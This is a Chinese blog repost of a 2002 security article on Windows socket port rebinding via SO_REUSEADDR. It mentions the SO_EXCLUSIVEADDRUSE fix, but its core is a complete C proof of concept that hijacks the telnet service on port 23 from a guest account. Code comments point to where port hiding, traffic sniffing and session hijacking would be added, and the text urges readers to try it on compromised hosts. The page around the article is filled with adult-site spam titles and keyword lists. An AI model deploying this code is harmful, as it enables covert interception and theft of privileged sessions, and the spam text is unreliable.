青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

公告

<2025年11月>
2627282930311
2345678
9101112131415
16171819202122
23242526272829
30123456

統(tǒng)計

  • 隨筆 - 9
  • 文章 - 13
  • 評論 - 3
  • 引用 - 0

常用鏈接

留言簿(1)

隨筆分類

隨筆檔案

文章分類

文章檔案

搜索

  •  

最新評論

閱讀排行榜

評論排行榜

端口截聽
創(chuàng)建時間:2002-11-05
文章屬性:原創(chuàng)
文章提交:flashsky (flashsky1_at_sina.com)

作者:FLASHSKY
EMAIL:flashsky@xfocus.org
站點:www.xfocus.net??www.shopsky.com
轉(zhuǎn)載請注明原作者安全焦點

在WINDOWS的SOCKET服務(wù)器應(yīng)用的編程中,如下的語句或許比比都是:
?????? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?????? saddr.sin_family = AF_INET;
?????? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?????? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
????其實這當(dāng)中存在在非常大的安全隱患,因為在winsock的實現(xiàn)中,對于服務(wù)器的綁定是可以多重綁定的,在確定多重綁定使用誰的時候,根據(jù)一條原則是誰的指定最明確則將包遞交給誰,而且沒有權(quán)限之分,也就是說低級權(quán)限的用戶是可以重綁定在高級權(quán)限如服務(wù)啟動的端口上的,這是非常重大的一個安全隱患。
????這意味著什么?意味著可以進行如下的攻擊:
????1。一個木馬綁定到一個已經(jīng)合法存在的端口上進行端口的隱藏,他通過自己特定的包格式判斷是不是自己的包,如果是自己處理,如果不是通過127.0.0.1的地址交給真正的服務(wù)器應(yīng)用進行處理。
????2。一個木馬可以在低權(quán)限用戶上綁定高權(quán)限的服務(wù)應(yīng)用的端口,進行該處理信息的嗅探,本來在一個主機上監(jiān)聽一個SOCKET的通訊需要具備非常高的權(quán)限要求,但其實利用SOCKET重綁定,你可以輕易的監(jiān)聽具備這種SOCKET編程漏洞的通訊,而無須采用什么掛接,鉤子或低層的驅(qū)動技術(shù)(這些都需要具備管理員權(quán)限才能達(dá)到)
????3。針對一些的特殊應(yīng)用,可以發(fā)起中間人攻擊,從低權(quán)限用戶上獲得信息或事實欺騙,如在guest權(quán)限下攔截telnet服務(wù)器的23端口,如果是采用NTLM加密認(rèn)證,雖然你無法通過嗅探直接獲取密碼,但一旦有admin用戶通過你登陸以后,你的應(yīng)用就完全可以發(fā)起中間人攻擊,扮演這個登陸的用戶通過SOCKET發(fā)送高權(quán)限的命令,到達(dá)入侵的目的。
????4.對于構(gòu)建的WEB服務(wù)器,入侵者只需要獲得低級的權(quán)限,就可以完全達(dá)到更改網(wǎng)頁目的,很簡單,扮演你的服務(wù)器給予連接請求以其他信息的應(yīng)答,甚至是基于電子商務(wù)上的欺騙,獲取非法的數(shù)據(jù)。

????其實,MS自己的很多服務(wù)的SOCKET編程都存在這樣的問題,telnet,ftp,http的服務(wù)實現(xiàn)全部都可以利用這種方法進行攻擊,在低權(quán)限用戶上實現(xiàn)對SYSTEM應(yīng)用的截聽。包括W2K+SP3的IIS也都一樣,那么如果你已經(jīng)可以以低權(quán)限用戶入侵或木馬植入的話,而且對方又開啟了這些服務(wù)的話,那就不妨一試。并且我估計還有很多第三方的服務(wù)也大多存在這個漏洞。
????解決的方法很簡單,在編寫如上應(yīng)用的時候,綁定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨占所有的端口地址,而不允許復(fù)用。這樣其他人就無法復(fù)用這個端口了。
????下面就是一個簡單的截聽ms telnet服務(wù)器的例子,在GUEST用戶下都能成功進行截聽,剩余的就是大家根據(jù)自己的需要,進行一些特殊剪裁的問題了:如是隱藏,嗅探數(shù)據(jù),高權(quán)限用戶欺騙等。

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
????WORD wVersionRequested;
????DWORD ret;
????WSADATA wsaData;
????BOOL val;
????SOCKADDR_IN saddr;
????SOCKADDR_IN scaddr;
????int err;
????SOCKET s;
????SOCKET sc;
????int caddsize;
????HANDLE mt;
????DWORD tid;

????wVersionRequested = MAKEWORD( 2, 2 );
????err = WSAStartup( wVersionRequested, &wsaData );
????if ( err != 0 ) {
????????printf("error!WSAStartup failed!\n");
????????return -1;
????}
????saddr.sin_family = AF_INET;

????//截聽雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應(yīng)用情況下,應(yīng)該指定具體的IP,留下127.0.0.1給正常的服務(wù)應(yīng)用,然后利用這個地址進行轉(zhuǎn)發(fā),就可以不影響對方正常應(yīng)用了
????saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ????
????saddr.sin_port = htons(23);
????if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
????{
????????printf("error!socket failed!\n");
????????return -1;
????}
????val = TRUE;
????//SO_REUSEADDR選項就是可以實現(xiàn)端口重綁定的
????if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
????{
????????printf("error!setsockopt failed!\n");
????????return -1;
????}
????//如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功,返回?zé)o權(quán)限的錯誤代碼;
????//如果是想通過重利用端口達(dá)到隱藏的目的,就可以動態(tài)的測試當(dāng)前已綁定的端口哪個可以成功,就說明具備這個漏洞,然后動態(tài)利用端口使得更隱蔽
????//其實UDP端口一樣可以這樣重綁定利用,這兒主要是以TELNET服務(wù)為例子進行攻擊
????if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
????{
????????ret=GetLastError();
????????printf("error!bind failed!\n");
????????return -1;
????}
????listen(s,2);????
????while(1)
????{
????????caddsize = sizeof(scaddr);
????????//接受連接請求
????????sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
????????if(sc!=INVALID_SOCKET)
????????{
????????????mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
????????????if(mt==NULL)
????????????{
????????????????printf("Thread Creat Failed!\n");
????????????????break;
????????????}
????????}
????????CloseHandle(mt);
????}
????closesocket(s);
????WSACleanup();
????return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
????SOCKET ss = (SOCKET)lpParam;
????SOCKET sc;
????unsigned char buf[4096];
????SOCKADDR_IN saddr;
????long num;
????DWORD val;
????DWORD ret;
????//如果是隱藏端口應(yīng)用的話,可以在此處加一些判斷
????//如果是自己的包,就可以進行一些特殊處理,不是的話通過127.0.0.1進行轉(zhuǎn)發(fā)

????saddr.sin_family = AF_INET;
????saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
????saddr.sin_port = htons(23);
????if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
????{
????????printf("error!socket failed!\n");
????????return -1;
????}
????val = 100;
????if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
????{
????????ret = GetLastError();
????????return -1;
????}
????if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
????{
????????ret = GetLastError();
????????return -1;
????}
????if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
????{
????????printf("error!socket connect failed!\n");
????????closesocket(sc);
????????closesocket(ss);
????????return -1;
????}
????while(1)
????{
????????//下面的代碼主要是實現(xiàn)通過127。0。0。1這個地址把包轉(zhuǎn)發(fā)到真正的應(yīng)用上,并把應(yīng)答的包再轉(zhuǎn)發(fā)回去。
????????//如果是嗅探內(nèi)容的話,可以再此處進行內(nèi)容分析和記錄
????????????????//如果是攻擊如TELNET服務(wù)器,利用其高權(quán)限登陸用戶的話,可以分析其登陸用戶,然后利用發(fā)送特定的包以劫持的用戶身份執(zhí)行。
????????num = recv(ss,buf,4096,0);
????????if(num>0)
????????????send(sc,buf,num,0);
????????else if(num==0)
????????????break;
????????num = recv(sc,buf,4096,0);
????????if(num>0)
????????????send(ss,buf,num,0);
????????else if(num==0)
????????????break;
????}
????closesocket(ss);
????closesocket(sc);
????return 0 ;
}

posted on 2006-09-22 15:48 blues 閱讀(169) 評論(0)  編輯 收藏 引用


只有注冊用戶登錄后才能發(fā)表評論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲欧洲一区| 欧美日韩精品一区视频| 欧美ed2k| 欧美www视频| 亚洲国产导航| 亚洲精品欧美日韩专区| 夜夜嗨av一区二区三区网站四季av| 亚洲黄色高清| 亚洲午夜电影| 久久久久久69| 欧美乱大交xxxxx| 国产伦精品一区二区三区视频黑人| 国产亚洲综合性久久久影院| 一区在线影院| 在线一区日本视频| 久久久久国产精品一区三寸| 亚洲高清一区二区三区| 一区二区三区免费看| 久久精品国产综合精品| 欧美日韩国产经典色站一区二区三区 | 一区二区三区中文在线观看| 日韩视频一区二区| 欧美在线播放| 91久久久久久国产精品| 欧美一区二区黄| 欧美日韩成人综合| 精品1区2区| 午夜精品视频在线| 亚洲人成人一区二区三区| 亚洲欧美制服另类日韩| 欧美激情日韩| 怡红院av一区二区三区| 先锋影音久久久| 99亚洲精品| 欧美激情视频一区二区三区免费 | 亚洲永久精品国产| 欧美大片网址| 国产在线拍偷自揄拍精品| 在线亚洲+欧美+日本专区| 欧美xart系列高清| 欧美专区在线观看一区| 国产精品捆绑调教| 夜夜嗨av一区二区三区四季av| 免费视频一区| 久久久免费观看视频| 欧美日韩喷水| 久久亚洲精选| 国产偷国产偷亚洲高清97cao| 99精品欧美一区二区三区| 欧美成人精品一区二区| 久久久久久91香蕉国产| 国内精品一区二区| 久久久久久婷| 久久精彩免费视频| 国模大胆一区二区三区| 亚欧成人在线| 亚洲永久字幕| 国产欧美日韩一区| 久久精品夜色噜噜亚洲a∨ | 亚洲精品中文字幕女同| 欧美激情亚洲激情| 欧美成人a视频| 亚洲精品视频二区| 亚洲毛片在线看| 欧美精品二区三区四区免费看视频| 亚洲激情视频网站| 亚洲韩国一区二区三区| 欧美精品成人91久久久久久久| 亚洲日本中文字幕区| 亚洲巨乳在线| 国产精品女同互慰在线看| 亚洲欧美色婷婷| 小嫩嫩精品导航| 韩国av一区二区三区在线观看| 久久综合色影院| 女人香蕉久久**毛片精品| 亚洲精品日韩在线观看| 中国成人在线视频| 国产视频亚洲| 亚洲国产毛片完整版| 欧美少妇一区二区| 久久国产精品久久w女人spa| 久久精品国产欧美亚洲人人爽| 影音先锋久久久| 亚洲精品网址在线观看| 国产精品盗摄久久久| 欧美一级视频免费在线观看| 久久精品国产2020观看福利| 在线日韩视频| 一区二区三区精品国产| 国产午夜精品理论片a级探花 | 欧美一区二区黄| 久久久无码精品亚洲日韩按摩| 99ri日韩精品视频| 性色av一区二区三区在线观看 | 久久夜色精品国产| 亚洲午夜视频| 久久视频免费观看| 亚洲欧美一区二区三区久久| 久久久久国色av免费观看性色| 夜夜爽av福利精品导航| 欧美影院成年免费版| 欧美日韩国产色综合一二三四| 午夜精品久久久久99热蜜桃导演| 久久婷婷av| 亚洲欧美日本精品| 毛片av中文字幕一区二区| 亚洲欧美视频在线观看| 欧美电影专区| 免费成人毛片| 国产情人节一区| 9l视频自拍蝌蚪9l视频成人| 亚洲欧美日韩精品久久久| 91久久国产自产拍夜夜嗨| 亚洲午夜精品一区二区三区他趣| 亚洲国产高清aⅴ视频| 欧美一区二区三区在线视频| 欧美极品aⅴ影院| 久久人人爽人人爽爽久久| 国产精品久久777777毛茸茸| 亚洲成色777777女色窝| 激情久久五月| 午夜一级在线看亚洲| 亚洲欧美国产精品专区久久| 欧美大片专区| 亚洲第一中文字幕| 极品日韩久久| 欧美中文字幕第一页| 亚洲欧美在线另类| 国产精品久久久999| 在线一区免费观看| 亚洲神马久久| 欧美日韩在线播放三区四区| 91久久精品日日躁夜夜躁国产| 狠狠色2019综合网| 欧美在线视频免费| 久久高清免费观看| 国产一二精品视频| 久久久久久9| 欧美粗暴jizz性欧美20| 亚洲国产精选| 欧美精品亚洲一区二区在线播放| 91久久久国产精品| 中文一区字幕| 国产人久久人人人人爽| 午夜在线观看免费一区| 久久三级视频| 亚洲国产精品一区二区三区| 欧美成人在线免费视频| 亚洲欧洲日本一区二区三区| 亚洲图片欧美日产| 国产精品久久久久久久久久免费 | 欧美一级二级三级蜜桃| 国产一区二区三区久久悠悠色av| 久久精品国产第一区二区三区| 欧美ed2k| 亚洲午夜国产成人av电影男同| 国产精品看片资源| 午夜激情综合网| 欧美激情国产高清| 一区二区国产日产| 国产人成精品一区二区三| 久久精品国产视频| 亚洲精品影视| 久久久精品日韩| 日韩午夜av电影| 国产精品扒开腿做爽爽爽软件| 欧美一区二区免费| 亚洲国产片色| 久久久之久亚州精品露出| 久久久欧美精品sm网站| 欧美一区二区三区四区高清| 国产主播一区二区| 久久综合久久久| 亚洲最新视频在线播放| 久久成人国产| 99re6这里只有精品视频在线观看| 欧美日韩在线一区| 卡一卡二国产精品| 一区二区三区国产精品| 欧美99在线视频观看| 亚洲一区二区在线视频| 亚洲狠狠丁香婷婷综合久久久| 国产精品国产a级| 男女激情久久| 亚洲一区二区三区免费视频| 欧美激情中文字幕一区二区| 亚洲欧美影院| 亚洲一级二级在线| 亚洲电影免费观看高清完整版在线观看| 国产精品成人aaaaa网站| 久久九九免费视频| 欧美一区二区三区久久精品| 亚洲精品国产无天堂网2021| 久久夜色撩人精品| 欧美一区在线视频| 亚洲无人区一区| 99精品久久久| 亚洲日本成人| 亚洲欧洲一区二区在线播放|